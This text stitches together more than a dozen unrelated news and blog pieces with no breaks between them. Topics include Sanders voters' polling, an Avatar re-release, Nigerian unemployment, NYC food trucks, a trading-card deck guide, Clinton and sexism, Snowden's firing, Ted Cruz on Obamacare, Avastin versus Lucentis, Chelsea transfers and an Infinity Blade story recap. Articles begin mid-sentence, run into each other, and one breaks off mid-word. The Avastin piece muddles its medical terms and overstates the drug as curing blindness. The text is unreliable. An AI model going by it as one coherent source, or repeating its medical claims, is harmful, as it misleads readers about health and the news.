Pollsters show Clinton receiving varying levels of support from Sanders voters, but CNN, Fox News, Marist and YouGov all show Clinton’s margin over Trump among these voters shrinking when third-party candidates are presented as options. On average, Clinton loses 12 percentage points off her margin over Trump among Sanders backers — identical to the change I calculated before both conventions took place. Clinton is below 70 percent among Sanders backers in all four polls and wins an average of just 63 percent when third-party candidates are included. That’s about as well as Trump is doing among well-educated, moderate Republicans — the wing of the GOP least likely to back him. In other words, the Democratic convention seems to have been somewhat of a failure in convincing Sanders voters who oppose Trump to consolidate behind Clinton rather than Johnson or Stein.
Of course, Clinton has already won over some Sanders holdouts, and she may just steadily pick up more of their votes as the campaign progresses. Additionally, Johnson’s support in national polls — in both our polls-only and polls-plus forecasts — has been trending downwards slightly. That suggests voters may be moving away from third-party options, which is in keeping with the history of third-party candidates fading as the election nears.
The better news for Clinton is that none of this may matter in the end. As I mentioned, getting these wayward Sanders backers on board would only marginally help her. And she leads nationally by 6 or 7 percentage points at the moment. She may not need their help.
VIDEO: What do hard-core Sanders supporters want?James Cameron’s Avatar has railed through box office records and Fox are basking in its afterglow with coffers overflowing and looking ahead to their next wave of cash courtesy of Pandora.
The astonishing success of Avatar does have its drawbacks, primarily how to overcome the inevitable disappointment of the transfer, and loss of the all important third dimension, to the home entertainment market. The answer is simple: Re-release the film but add in all of the extra scenes which were left on the cutting room floor.
That’s the rumour, according to THR, who put an extra forty minutes on the running time of the film, already a not inconsiderable 162 minutes, however the likelihood is that the extra footage will far less than this, to remain in the IMAX 170 minute limit.
Cynics may point out that the beating of this particularly bountiful cash pinata through a re-release following the 2D DVD and Blu-ray in late Spring but I’ve always had the feeling that Avatar would be around again sooner than we thought. With the proposed sequels no doubt gearing up for production, as well as Cameron’s rumoured 2012 Titanic re-release in 3D, it seems as though the huge Avatar fanbase will have many more opportunities to return to Pandora again and again.The city was at a standstill. Blue-uniformed security and police officers gathered around boomboxes perched on wooden benches and turned up to maximum volume, listening to voices shouting curses at the enigmatic Boko Haram. “We just don’t know who these people are or what exactly they want to do,” said a call-in guest on 95.1 FM Nigerian Info. “They say they want to impose Shariah law or whatever, but Nigeria is not an Islamic state! God go punish you!” A uniformed man holding a half-chewed juicy mango exclaimed, “Yes! God go punish them!” to nods of agreement.
Nigerian citizens exist in this surreal state of great contrasts, in a nation mired in corruption, under attack by an Islamist insurgency and at the same time brimming with potential and acclaimed as an economic engine for the African continent. With 170 million people, Nigeria is Africa’s most populous country and largest oil producer. Its economy has surpassed South Africa’s, making it the largest on the continent. But that growth has only widened economic inequality. Economic activity has slowed to a trickle in regions where terrorizing at the hands of Boko Haram has forced farmers to abandon their fields, while young people without job prospects have left for the cities. More Nigerians are poor today than at independence in 1960, with over 60 percent below the poverty line.
For the past three weeks, we have been traveling the country reporting on youth unemployment, an issue consistently ignored by the government, but one that has been exploited by Boko Haram.
“The abductions are only the tip of the iceberg,” said Tayo Olufuwa, a bespectacled 23-year-old entrepreneur from Mushin, one of Lagos’s poorest neighborhoods. Mr. Olufuwa has started an online employment search company, Jobs in Nigeria. When we filmed him two weeks ago, walking on his old childhood streets for a multimedia report, plainclothes policemen detained us for four hours, confiscating our credentials and equipment. They told us they were protecting us from Boko Haram and other security threats, wrestled with our driver for a bribe and mocked a crowd of children. “We are a country sleeping with one eye open,” Mr. Olufuwa said afterward in exasperation.
It’s an expression used often by Nigerians, who are frustrated yet unsurprised by conflicting actions and reports from a government they have come to distrust. At least 16 Nigerians were killed in March in stampedes when nearly a half-million people applied for fewer than 5,000 government jobs.Cecil replies:
Dear Britt:
A year-old Seattle Mariners ticket is your idea of a bribe? Not to cast aspersions, but a current Mariners ticket isn’t exactly a siren’s call to my ears. Equally depressing is your failure to grasp cartoon conventions. For starters, Pluto isn’t a dog, he’s a dawg. So is Goofy. The difference is that Goofy is a human dawg, whereas Pluto is a dawg dawg (or dawg2, if you’re into the new math). You can tell a dawg dawg from a human because the dawg gets naked and walks on all fours and the human doesn’t, though admittedly this isn’t the acid test it used to be.
Educated people — leastways, educated people who’ve just chatted with the Disney archivists — know Goofy first appeared anonymously in “Mickey’s Revue” (1932), looking essentially as he does today except older. In the wonderful way of cartoons, he then got younger, meanwhile adopting various aliases, including Dippy Dawg, Dippy the Goof, and Mr. Geef before settling on Goofy in “Orphans’ Benefit” (1934). So if the guy has an identity crisis, it goes back a long way.
Send questions to Cecil via cecil@straightdope.com.Most restaurants would kill for the following the Cinnamon Snail had. On a typical weekday, a line of a few dozen customers snaked down the sidewalk, waiting for lunch from the vegan food truck.
But simply selling loads of food wasn’t enough, and the 5-year-old mobile vendor abandoned the New York City streets earlier this year.
“We were among the most popular food trucks in the country and it wasn’t feasible,” says chef-owner Adam Sobel, who lives in Red Bank, NJ. He blames city bureaucracy and fines for his truck’s demise.
New Yorkers with the romantic dream of giving up on the cubicle rat race and opening a food truck are waking up to a nightmare. And many once-hopeful owners are throwing in the towel after discovering the harsh reality on the street.
“The food truck bubble has burst,” says Dennis Kum, owner of Big D’s Grub Truck, who was an electrical engineer before getting into food service. “More vendors are going out of business or trying to open up a restaurant. It’s easier. People come in, they sit down, you don’t get parking tickets.”
The biggest hurdle — beyond the $100,000 or so it takes to get a truck up and running — is securing a permit. Despite the explosion in food trucks over the last few years, the number of mobile food vending permits issued by the city remains the same as it has since 1981, when the once-unlimited permits were capped at 3,000.
Many of those permits remain with those who owned them in the 1980s, and getting one through the city is virtually impossible. Vendors turn to the black market, where the $200 slip of paper can cost $20,000 — often in cash.
“It’s as sketchy a situation as buying drugs in Washington Square Park,” says Sobel, who rented his permit on the black market. “It’s a lot of cash.”
Permits have to be re-upped every two years, which is a big reason why Sobel decided to pull the Cinnamon Snail truck off the streets.
Operators who’d rather not deal with criminals can join the reported 20-year waiting list. Or give up.
That’s what happened to Liz Courtney, a Red Hook marketing professional who tried to launch a hot-dog truck in 2011. She worked special events, such as the Hester Street Fair, but quit in 2013 after failing to secure a permit.
“If I did this business again I wouldn’t do it in New York,” she says. “There’s too much red tape.”
She’s not alone. The popular Mexico Blvd taco truck, which drew big crowds in Midtown and Dumbo, was recently driven to close because of, as the owners posted online, “the insupportable system NYC has.” It joins Mexicue, Hibachi Heaven, Rickshaw Dumpling and many others that have quit the streets since December 2013.
The other major issue in NYC is the avalanche of tickets beneath which vendors find themselves buried. Kum says he currently has $4,000 worth of outstanding fines.
There is virtually no place in the city food trucks can legally park without receiving a $65 ticket.
Sean Basinski, director of advocacy group Street Vendor Project, is lobbying for special zones where food trucks can gather, as you find in Washington, DC.
Hiring workers is also difficult because, unlike at a restaurant, every person on a food truck has to undergo intensive safety training.
“It takes three months to get one of these certifications,” Sobel says. “If [an employee] gave us two weeks’ notice, we might not have enough staff to operate.”
Meanwhile, Kum — who often parks his Big D’s Grub Truck on 50th Street between Sixth and Seventh avenues during the lunch rush — is considering a slightly more convenient location: Texas.
“I have friends who moved there, and the food truck scene is great,” he says.There’s been a disturbing lack of boats on this blog as of late, especially given that it is solidly a top tier set. Enter guest writer #2. Or was it #3? I forget.
This article was written after the release of Kantai Collection Vol.2 and the February 2015 restriction list. Any future restriction lists and new expansions will likely drastically change the deck, so do keep this in mind if you’re reading this in the future.
Yeah, it’s this deck. The deck that never seems to go away, no matter how many restriction lists Bushiroad throws at it. In light of the Little Busters! article that was posted here quite recently, I decided to do a rundown of (what I think is) the next best deck in the game here as well. While it might not boast the literal free damage output that LB can dish out early on, Kantai Collection has an array of impressive tools that many a deck would be envious of, as well as some of the best lategame cards the entire game has to offer.
Kantai Collection is a widely feared deck for a variety of reasons – its series popularity, its infamous “antifun*” cards that can blow out unprepared decks, its myriad of ridiculously low-costed plusses, its (once-unique) array of finishers, the list goes on. However, knowing the deck’s goals and flaws is key to both piloting and defeating it (not that it has that many flaws).
I’m going to be writing this article in a similar format as lychee’s LB article; a decklist (mine) with detailed explanations on why some cards are played and their purpose in the overall deck, as well as some other card choices the series has to offer. I won’t admit to being overly familiar with every single deckbuild and card in the series (because there are just way too many goddamn boats), but if I |
. Today, it has more than 1 billion.
Online takedowns of misogyny play a huge part in women’s political lives — and their votes. Just recall Rep. Todd Akin (R-Mo.) and his comments about “legitimate rape.” Or the conservative smearing of Sandra Fluke after she was not allowed to testify at a House hearing on insurance coverage for birth control. Or when Rick Santorum donor Foster Friess suggested to MSNBC’s Andrea Mitchell that “the gals” could just put aspirin “between their knees” as a form of birth control.
All these incidents drove the “war on women” rhetoric into the mainstream and influenced women’s votes in the 2012 election. A Gallup poll of 12 key swing states released shortly before the election showed that 60 percent of women said government policies on birth control would be extremely or very important in influencing their vote, and majorities of both men and women said Obama would “better handle” that issue.
“Every 2016 campaign will be run in an entirely new landscape, and that’s due in large part to the gains women have made politically since 2008, especially the gains made in 2012,” EMILY’s List President Stephanie Schriock told me. “Republicans voiced their extreme and offensive views, and voters, particularly women voters, responded with one of the largest gender gaps in our nation’s history.”
Today, if someone tried to start a Facebook group called “Hillary Clinton: Stop Running for President and Make Me a Sandwich” — in 2008, this group had more than 40,000 members — it’s hard to imagine it would last long. (In fact, thanks to an online feminist campaign, Facebook now bans gender-based hate speech.) And if an opponent laughed it off when asked “How do we beat the bitch?,” as John McCain did at a 2007 event in South Carolina, he or she would be toast.
No doubt, there will be a tremendous amount of sexism lobbed at Clinton if she runs for president. It just won’t be as explicit or gleeful as in years past. At least, that’s what Republicans are hoping. The GOP is so worried about further alienating female voters that it is sending its candidates to classes on how to talk to women — or, more accurately, how not to talk to them. The anti-abortion organization Susan B. Anthony List put together a training initiative last year for GOP candidates after the litany of controversial statements on women’s health, and, according to Politico, the National Republican Congressional Committee is having meetings with Republican aides “to make sure there are no Todd Akin-style gaffes” in 2014.
Remedial how-not-to-be-sexist classes will take the GOP only so far. When misogyny is part of your ideology, it’s hard to muzzle. But given the extra precautions, it’s likely that the misogyny directed at Clinton will be more sly than straightforward.
Much in the way the right race-baited its base in the last presidential election — Newt Gingrich calling Obama the “food stamp president” comes to mind — Clinton won’t be attacked directly for being a woman. Instead we’ll see more subtle swipes about her emotions and temperament, like the headline after the Benghazi hearing: “Clinton explodes with rage.”
We’re getting a glimpse of that approach now with the attacks on Texas gubernatorial hopeful Wendy Davis. Wayne Slater of the Dallas Morning News published an article suggesting that Davis pursued and married her older husband for money. Her now ex-husband, Jeff Davis, told Slater: “It was ironic. I made the last payment [on her Harvard Law School loan], and it was the next day she left.” Never mind that Wendy Davis was a well-paid lawyer when she left. The profile also included a quote from an anonymous former colleague who said, “She’s not going to let family or raising children or anything else get in her way.”
Slater didn’t need to call Davis a gold-digging bad mom — he just implied it. And now right-wing conservatives are picking up the story line. Erick Erickson, editor of RedState.com and a Fox News contributor, tweeted, “So Abortion Barbie had a Sugar Daddy Ken.”
The good news for Clinton is that it doesn’t much matter if the sexism directed at her is tacit or explicit, or if it comes directly from politicians or just conservative talking heads. Because no amount of messaging or training or misdirection will change the fact that the GOP’s disdain for women’s rights isn’t a matter of language or talking points, but of policy. Even if Republicans keep their mouths shut, their platform’s attacks on reproductive rights and birth-control coverage, and the disdain for pay equity and anti-violence legislation, will do as much damage as any gaffe.
Of course, feminists can’t rely entirely on the GOP shooting itself in the foot. We have to continue doing what we’ve recently succeeded at: exposing the damaging impact Republican policies have on women.
Still, something tells me that conservatives won’t be able to help themselves. After all, the New York Times reported last summer that Republicans are planning an anti-Hillary strategy that will “focus a spotlight on Mrs. Clinton’s age.”
I can’t wait.
Twitter: @jessicavalenti
Read more from Outlook, friend us on Facebook, and follow us on Twitter.AUSTIN, Texas (AP) - Texas election officials said they'll provide public voter information to President Donald Trump's commission that is investigating alleged voter fraud in the 2016 elections.
The announcement Friday comes after the Presidential Advisory Commission on Election Integrity this week asked states for voter data including names, party affiliations, addresses and dates of birth.
Democratic officials in some states have refused to comply, saying the request invades privacy and is based on false claims of fraud.
Texas already makes much of the information requested publicly available. Texas Secretary of State Rolando Pablos didn't list what records would be sent to the commission, but the Republican said in a statement he will protect private information.
Texas law prohibits the release of Social Security numbers. The commission asked for voters' last four digits.
Copyright 2017 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
A council worker sued his employer claiming that he was racially discriminated against because of an overgrown pot plant.
Benyam Kenbata, 34, who worked for Westminster council, alleged he was deliberately being separated in an open-plan office when a colleague placed the plant on her desk.
According to court documents, Mr Kenbata was a capital programme manager in a team including a support officer named as Ms Denby-Mann. In December 2013 she put a plant on her desk, which was opposite him.
He complained to his boss, suggesting it was a form of racial segregation as it “restricted the ease with which he could hold discussions with colleagues”.
The human resources department denied any racial connotations, saying the problem was the “plant had grown too high”, documents state.
Mr Kenbata, who describes himself as a black British African, then went to an employment tribunal and made 29 allegations of direct discrimination, racial harassment and victimisation.
After a hearing in 2015, London Central Employment Tribunal was “quite satisfied that the positioning of the plant and its growth was not an act of direct discrimination nor harassment directed towards the claimant”.
It found Mr Kenbata “acted in bad faith in making the race discrimination complaint arising from the existence of the overgrown pot plant” and ordered him to pay costs of £10,000.
Westminster had already spent more than £50,000 defending the claim. The tribunal did back Mr Kenbata on one count, ruling a discussion in an open-plan office about his complaint amounted to victimisation as it should have been carried out confidentially.
He was permitted to appeal and a judge ordered the tribunal to re-examine his complaints of direct racial discrimination and racial harassment. This hearing will be held at a date to be fixed.
Mr Kenbata said: “I genuinely believed I was being unlawfully discriminated against. My complaint centred on the handling of a grievance and [its dismissal]. My claims of discrimination and harassment are yet to be determined at a remitted hearing.”
His lawyer Nabila Mallick said: “The victimisation took the shape of managers ridiculing his complaint in an open-plan office in front of his colleagues.”
Westminster council said it “does not comment on individual cases, however the council welcomes and champions diversity and equality”.
Mr Kenbata is embroiled in a second case, against his new employer Brent council. He launched legal proceedings against Brent after it upheld claims that he verbally and physically abused a colleague, the Standard understands.
He was suspended before being given a written warning. Mr Kenbata said: “Both parties are considering their position in respect of both internal and judicial mediation.”
A spokesman for Brent council declined to comment about the case.The contractor for which NSA whistleblower Edward Snowden worked said Tuesday that Snowden has been fired and clarified his annual salary was much less than the widely reported $200,000 a year.
International contracting firm Booz Allen Hamilton said the 29-year-old Snowden was paid $122,000 annually and that he was fired Monday for violating company policy and its code of ethics.
Snowden said Sunday he is the source of bombshell stories last week about how the U.S. collects data on billions of Americans’ phone calls and Internet actives.
Booz Allen also restated Snowden worked for the company for less than three months and was assigned to a team in Hawaii, home of a National Security Agency headquarters.
The company did not state specifically that it had confirmed Snowden was indeed the source of the leaks but repeated its statement Sunday.
“News reports that this individual has claimed to have leaked classified information are shocking, and if accurate, this action represents a grave violation of the code of conduct and core values of our firm,” Booz Allen said. “We will work closely with our clients and authorities in their investigation of this matter.”A judge has thrown out a case against an overweight Spaniard who killed a donkey by sitting on it, in a "prank" that went wrong.
The man was arrested in December 2014 after he jumped the fence of a live nativity scene and leapt onto the back of a donkey, which was only four months old, named Platero.
The weight caused severe damage to Platero’s insides and the donkey died two days later.
The man, 38, who weighed almost 150kg (24 stone) shared the photo on Whatsapp, and it eventually went viral on social media in Spain, with many Spaniards horrified at the man’s behaviour.
The incident occurred in the town of Lucena, near Córdoba in southern Spain and was widely condemned by animal rights organizations.
Animal rights group Peta said there was "no excuse for the pain that this donkey endured from his internal injuries or for his horrible death".
Organizers of the living nativity scene "now have the blood of this poor donkey on their hands", Peta said in a statement.
The case finally came to court this week when the judge in Malaga ruled that the incident "did not constitute a crime".
"We do not credit any aggressive action on the part of the accused, or neglect on behalf of the town hall, which is worthy of criminal sanctions," the judge said, but added that this did not, however, "close the door to possible administrative or civil penalties."
The donkey sanctuary which brought the original complaint, El Refugio del Burrito, has said it will appeal the decision.In the third part of his interview with Breitbart News on Obamacare defunding efforts, Sen. Ted Cruz (R-TX) said that President Barack Obama, congressional Democrats, and the institutional left want to drag out the Obamacare fight as long as possible.
If they force Republicans to keep waiting to rid the country of the law, Cruz thinks they will have hooked Americans on the subsidy to the point where it cannot ever be repealed.
“It is why hand in hand with delaying the employer mandate for big corporations, the Obama administration announced it wasn’t going to enforce the eligibility requirements for the subsidies,” Cruz said.
Cruz continued:
It’s essentially encouraging liar loans, encouraging fraud for people who come forward and say, “I qualify for a subsidy,” and the Obama administration saying, “we’re not going to check on anything, we’re just going to take your word for it and grant you the subsidy.” That is all Chicago-style politics designed to buy as many votes as possible. It is why the fight is now or never.
Cruz added that if Republicans choose not to fight Obamacare this September, the left, Obama, and the Democrats win, and Republicans lose.
“An awful lot of politicians in Washington, both Democrats and Republicans are more focused on staying in power, on getting re-elected, than they are in fighting for principle,” Cruz said. “I think that’s why there’s such tremendous frustration among the American people with career politicians in both parties.”
Cruz said:
There’s a reason why Congress routinely polls with 10, 12, 14 percent approval rating. It’s because politicians in both parties have been ignoring the American people for a long time. I’ll give you an example just to sum up. Every poll that is done in this country, of Republicans, of Democrats, of independents, underscores that the top priority for the American people is jobs and the economy. It’s restoring economic growth and getting people back to work.
Even though more Americans want their lawmakers to focus on the economy, the freshman Cruz said Senate Majority Leader Harry Reid and Obama have done anything but since he came to Washington.
“And yet, in the seven months I’ve been in the Senate, we have spent virtually zero time talking about or being focused on jobs and the economy,” Cruz said. “Why? Because it’s not a priority for Harry Reid or President Obama. Instead we spent months on the president’s agenda to take away our Second Amendment rights, we spent months on an agenda to grant amnesty to those who are here illegally and we spend no time on tax reform, on regulatory reform, on restoring economic growth, to create jobs and to make it easier for people to achieve the American dream.”
Cruz said, “The single biggest step Congress could take to restore economic growth, to help people get back to work, to expand opportunity for those struggling to climb the economic ladder, is to defund Obamacare.”Many great scientific discoveries were born out of pure accident. How about curing blindness in only one or two treatments with a drug that was originally designed to combat cancer? What if it only cost around the same as taking your family to the movies? Impressed yet? You should be. Doctors have been using Avastin (bevacizumab), an anti-cancer drug, to treat certain types of blindness, such as vascular retinopathy, and the initiative paid off more than anybody ever imagined, the drug being 20% more effective than conventional laser therapy. However, there are always obstacles to great ideas, and this time they are human rather than technical. Roche Group, the company behind Avastin, simply does not support its use for treatment of retinopathy. Why? Roche’s official position is that they are concerned about patient safety since Avastin was not designed to be used for eye conditions. However, perhaps it has less to do with supposed safety concerns and more with the fact that Avastin costs approximately forty times less than Lucentis (ranibizumab), Roche’s officially supported retinopathy treatment?
Avastin was originally developed as a treatment for colon cancer. However, unlike the traditional chemotherapy, it works by preventing growth of capillaries in cancer tissue. Since cells receive the necessary nutrients through the blood, halting proliferation of blood vessels effectively starves the cancer until it dies off naturally. The idea to use Avastin to treat vascular retinopathy, a type of blindness caused by overcrowding of blood vessels in the retina, seems only natural as the next logical step, as many doctors have figured out, successfully treating age-related macular retinopathy in pre-maturely born babies. By using Avastin to stop the unchecked growth of blood vessels, doctors were able to prevent the degeneration of the retina, sometimes in only one treatment.
However, since Roche does not seem to be too keen on approving Avastin’s use on the eyes, doctors undertake such treatment at their own risk. The treatment of vascular retinopathy with Avastin remains off-label and unofficial. Of course, all is not lost: Roche is coming to the rescue with Lucentis, a patented retinopathy treatment from the makers of Avastin. The only problem is that Lucentis is nothing more than a smaller derivative of Avastin’s active compound. Sure, it has been subjected to a technique called affinity maturation, which, theoretically, makes it bind more strongly to the blood vessel proteins, but on a practical level, it does not seem to be all that more effective. In fact, the only practical difference between Avastin and Lucentis, when it comes to the treatment of vascular retinopathy, is the price. Avastin costs an average $40 per dose as opposed to Lucentis’ $1600.
Doctors both in the United States and Britain have been trying for many years to get Roche to organize clinical trials to compare the efficacy of Avastin and Lucentis, but Roche has been reluctant for obvious reasons. A recent study conducted by the National Eye Institute (NEI), which included over fifty-five participant medical centers, is supposed to finally put an end to the controversy of which drug to use to treat eye conditions. The study was only finished in February with the results showing no difference in efficacy between Avastin and Lucentis in treating vascular retinopathy. A smaller scale study was done in parallel in Boston University School of Medicine that reached the same conclusion.
All of this really begs the question of just how genuine the pharmaceutical industry is. It is no secret that pharmaceutics is an expensive industry, especially in America. The United States spends the most on healthcare out of the developed countries, in large part because of medication, and still manages to have the highest rates for infant mortality and diabetes. Incidentally, the United States is also the only country in the world that allows advertising of medicines on public television. It is this practice that inflates the price of drugs for the average consumers – the marketing budget for a particular solution is usually always factored into the manufacturer’s price. This and other business practices hike the prices of medicines to obscene amounts even though the actual drug costs cents per pill to produce.
However, much more is at stake here than pharmaceutical companies trying to recuperate the indirect costs of production by charging a higher price for the drug. The most insane fact in this whole controversy of Avastin vs. Lucentis was that Roche blatantly refused to approve, or even test, a product that was obviously effective, all the while trying to push through an almost exact copy for forty times the cost. Of course, in a capitalist economy, everyone is within their right to make a profit on a product of their making, but therein also lies the problem. The chief priority of any private company is not to actually produce anything, but to make a profit on whatever it is producing.
Of course, the study that was conducted by NEI should clear everything up in this case, but who can really be sure that other companies and other medications are not involved in similar incidents? How can the person paying for a drug know that he is really paying what the drug is actually worth? Perhaps this is a good moment to take a closer look at the pharmaceutical industry and possibly reform or tighten some of their regulations. Hopefully, this case will be a strong stimulus to launch such a reform and see that it is carried out to completion. Sadly, though, few of us believe that will actually happen.
[Source: The Guardian, National Eye Institute, Roche Group, Visual Economics]
[Image Credit: Cary Silverman]FAIRVIEW HEIGHTS, Ill. -- Officials in Illinois have released dramatic dashcam video of a gunman firing at officers during a 2012 traffic stop as the suspect was sentenced to 40 years in prison, reports CBS affiliate KMOV.
The incident happened Sept. 25, 2012, in Fairview Heights, Ill. -- about 15 miles east of St. Louis.
Two officers reportedly pulled over 30-year-old Dallas McIntosh and approached his car. That's when, police say, McIntosh started firing.
The bullet struck a flashlight one of the officers was holding, causing shrapnel to wound his hand, reports the station. Officers returned fire, and McIntosh was also struck, reports the station.
McIntosh was arrested after a short chase. He was reportedly charged with two counts of attempted murder and was sentenced last week to 40 years in prison.Chelsea have spent £124million on signings this summer but Conte is not satisfied DYLAN MARTINEZ/REUTERS
Antonio Conte is in a stand-off with the Chelsea hierarchy over transfer targets, with the club reluctant to bow to the manager’s request to spend significant sums of money on experienced players with little resale value.
In addition to personal tension between Conte and some Chelsea staff brought about by what is perceived as his incessant demands, it is understood that there is also a philosophical difference between the Italian and the club as they seek to overhaul their squad.
Senior Chelsea sources have told The Times that while Conte is concerned only with assembling a squad capable of competing in the Premier League and Champions League this season, the board have a responsibility to plan for the medium and long term.
Five players Italian wants Fernando Llorente
Club: Swansea City
Age: 32
Ivan Perisic
Club: Inter Milan
Age: 28
Virgil van Dijk
Club: Southampton
Age: 26
Antonio Candreva
Club: Inter Milan
Age: 30
Alex Sandro
Club: Juventus
Age: 26
Chelsea have shown…Preview of Henni, by Miss Lasko-Gross
Striking out on her own, Henni goes out in search of truth, adventure, and more. Written and drawn my Miss Lasko-Gross (A Mess of Everything and Escape From Special), Henni is a commentary on religion, coming of age, and being yourself.
Jeff "Sweet Tooth" Lemire's new horror comic Gideon Falls is spooky af Jeff Lemire can do weird-spooky (see, e.g., his Twilight Zonish graphic novel Underwater Welder) and he can do gripping (see his amazing, post-apocalyptic Sweet Tooth), but in his newest graphic novel from Image Comics, Gideon Falls, he shows that he can do spooky-verging-on-terrifying, with a tale of supernatural mystery that combines avant-garde graphic treatments with […] READ THE REST
Calexit: a fractured California, where militias and the DHS battle the resistance in Trump's future America The first time I encountered Matteo Pizzolo, Amancay Nahuelpan and Tyler Boss's comic Calexit, I was skeptical: California separating from the USA is an incredibly stupid idea, predicated on innumerable misconceptions (including the idea that the state that gave us Nixon, Reagan, and Schwarzenegger is uniformly progressive, and also the idea that "the world's sixth […] READ THE REST
Paper Girls 5: fate and free will (and dinosaurs and monsters) For two years now, Brian K Vaughan and Cliff Chiang have been knocking my socks off with their Paper Girls graphic novel, a mysterious, all-girl, Stranger-Things-esque romp through 1980s pop culture, time travel, conspiracies, clones, paradoxes, and you know, all that amazing coming-of-age/friendship-is-magic jazz. Now, the pair have released the fifth collection, and it's a […] READ THE REST
This piano learning technique gets you playing right away If you gave up on playing the piano as a kid, don’t despair. Things have come a long way since those drills that had you playing “Chopsticks” endlessly. Take Pianoforall, for instance. This innovative new system lets students play keys right away, learning the structure of the music by playing rhythm-style hits. The 10-hour course […] READ THE REST
Get certified online in machine learning and data science As big companies wrangle an ever-increasing amount of data, the applications for deep learning grow – and so do the job opportunities. If you’ve got a working knowledge of Python, all you need are the tools to start making data work for you. Get up to speed on the science and code behind the field […] READ THE RESTTouchArcade Rating:
Candy Crush (Free) and Clash of Clans (Free) may be ruling the top charts in the App Store, but it’s hard to argue that there isn’t a bigger game release than an entry into the Infinity Blade series. Since the series’ introduction in 2010, Infinity Blade ($5.99) and Infinity Blade II ($6.99) raised the bar as to what people thought was possible for iPhone games, both graphically and mechanically; and with the announcement of Infinity Blade III at last week’s iPhone Media Event, the bar looks to be raised again.
As you prepare your body for Infinity Blade III though rigorous screen swiping drills, we here at TouchArcade thought it might be appropriate to prepare your mind by offering story summary of what has happened in the series thus far. We aren’t talking about the Great American Novel here, but there is no question that the Infinity Blade mythos grew significantly over the course of the first two games; and given what we have seen of the third game, the trilogy’s finale is the most story-packed installment yet.
What follows is a high-level view of the Infinity Blade story based on the two iOS games. Yes, there are two digitally available Infinity Blade novellas, Infinity Blade: Awakening [$2.99] and Infinity Blade: Redemption [$2.99], but it’s hard to nail down what parts of those stories are canon and which parts are creative liberties taken by author Brandon Sanderson. There are too many conflicts with the games’ stories to fold the books in cleanly. The books do, however, serve as a great way to flesh out the world of Infinity Blade and, if you enjoy the story of the games, you should check them out. They don’t take long to read.
Before Infinity Blade
Not much concrete is known about this time, unfortunately. Infinity Blade Dungeons, the action RPG announced in 2012, was supposed to flesh out this period (specifically: the story of the forging of the Infinity Blade), but it was cancelled earlier this year. Here is what we know about this time period:
It’s unknown if The Deathless (the immortal race of beings that rule the world of Infinity Blade) started out on this world, or are aliens that showed up later, but we do know that they have been tyrants for as long as they have been around. They regard humanity as pets and use them in however they see fit. Because The Deathless are immortal, humanity has no recourse against them. This is where the Infinity Blade comes in.
The Worker of Secrets, a Deathless himself, knows more about his species than anyone else and, using that knowledge, forges a blade that can cause permanent death to a Deathless once it is powered up.
We aren’t sure why he created something that could kill him, but the general thinking is that he wanted to rule all the other Deathless. And what better way than to rule than to scare your opponents with the one thing they never used to fear: death.
At some point, with the help of a Deathless named Ausar, Raidriar (The God King), steals the Infinity Blade from The Worker of Secrets. He and Ausar seal The Worker of Secrets in a prison known as The Vault of Tears. Only the blood of a Deathless can free him and, since The Worker wished only to rule The Deathless, no Deathless want him free.
Infinity Blade
Infinity Blade opens with you in the Throne Room of Raidriar (in this game known only as The God King). After you slay his lackey in the tutorial, you fight The God King and lose. He drives the Infinity Blade into you, says that maybe your heir will be stronger, and leaves you to die on his floor. It is then that the game begins.
20+ years later, you play as the son of that warrior, again trying to slay The God King. You make your way through The God King’s castle, unlocking new armor and weapons as you go, ultimately returning to the throne room and to another battle with The God King. Each time you fail, you return the castle play as the son of the warrior from the previous play through. Chances are you will go through a dozen sons before finally defeating The God King. And when you defeat him, driving the Infinity Blade into him and watching him die on the floor, you walk up to his throne and activate what looks like a beacon, showing the character (and the player) that The Deathless posses technology that is far beyond that of what everyone else has. This is the end of the first Infinity Blade game.
Book Note: It is never mentioned in the game, but there seems to be some importance to the other things the character does while in The God King’s castle. Once you obtain the Infinity Blade through the in-game store, you gain access to the basement of the castle and meet four Deathless down there, one of which is in a mech and claims to be part of your bloodline. Killing them rewards you unique items, but their death may be more story important than initially presented.
Between Infinity Blade and Infinity Blade II
This portion of the story is confined almost completely within the first book, Infinity Blade: Awakening. As we mentioned before, it’s hard to fold the book’s story cleanly into the overarching canon, but we will talk about the parts of the book that don’t conflict with any currently revealed story. That will make more sense in a moment.
The first thing you learn reading the book is that The God King isn’t dead. Even though he was killed by The Infinity Blade, he survived and his QIP (Quantum Identity Pattern – think “futuristic soul") was transported to his rebirth chamber, where he was re-implanted back into his body. The reason he survived was because The Infinity Blade was not powered up prior to his death. Powering up the blade involves killing Deathless, and The God King (known going forward as Raidriar) has killed a lot of Deathless. Raidriar does a little math, adding in the three Deathless killed in his own dungeon, and Raidriar himself, and comes to the conclusion that The Infinity Blade is powered up, meaning it is able to cause permanent death to the Deathless. Raidriar sets out to reclaim the blade.
The character, now known as Siris, returns to his home town victorious. The town had, apparently, been sending sacrifices to The God King for millennia in order to keep the town safe from his, and other Deathless’, wrath. Now that The God King is dead, and the blade every Deathless fears in the hands of one of their own, the towns people become very scared for their safety. It is decided that Siris should leave as to not draw more Deathless to their town and region. Siris, with no place else to go, decides to return to The God King’s castle to search for more clues. There he is stalked by a mysterious robot who seems both interested in protecting him and making sure he doesn’t discover things.
In The God King’s castle again, Siris starts looking for answers. He finds out that The God King is not dead and that he was using Siris’ bloodline to power up the Infinity Blade. He had hoped that killing Siris would power up the sword completely. Siris is also attacked in the castle by a woman, Isa, who mistakes him for The God King. She too is after the Infinity Blade, and after a battle that she finds impressive, she decides that Siris is more useful alive. She says she no longer has interest in retrieving the sword. Siris is appropriately suspicious.
The two set off to find The Worker of Secrets who, Siris has learned, forged The Infinity Blade. They do not know where he is, but Isa thinks that Saydhi, another Deathless, may. If Siris can defeat her gladiators in combat, he can ask her any question he would like. So, Siris and Isa head for Saydhi’s compound. They are followed by the mysterious robot.
Here is where things get messy. The encounter with Saydhi actually serves as the prologue portion of Infinity Blade II. The problem is that the encounter in the book plays out a bit differently than the encounter in the game. In the interest of keeping everything chronological, we will move on to Infinity Blade II and we will add a Book Note after the prologue section that talks about what happens in the book.
Infinity Blade II
Infinity Blade II opens with Siris and Isa arriving at Saydhi’s compound. Siris accepts the challenge and defeats all of Saydhi’s gladiators through the tutorial portion of the game. When he finally gets a chance to ask Saydhi where the Worker of Secrets is, she grows angry. She asks him how he knows about The Worker, but Siris just waits for his answer. She finally tells him that The Worker is imprisoned in the Vault of Secrets, but that he will never reach him. With that, she attacks.
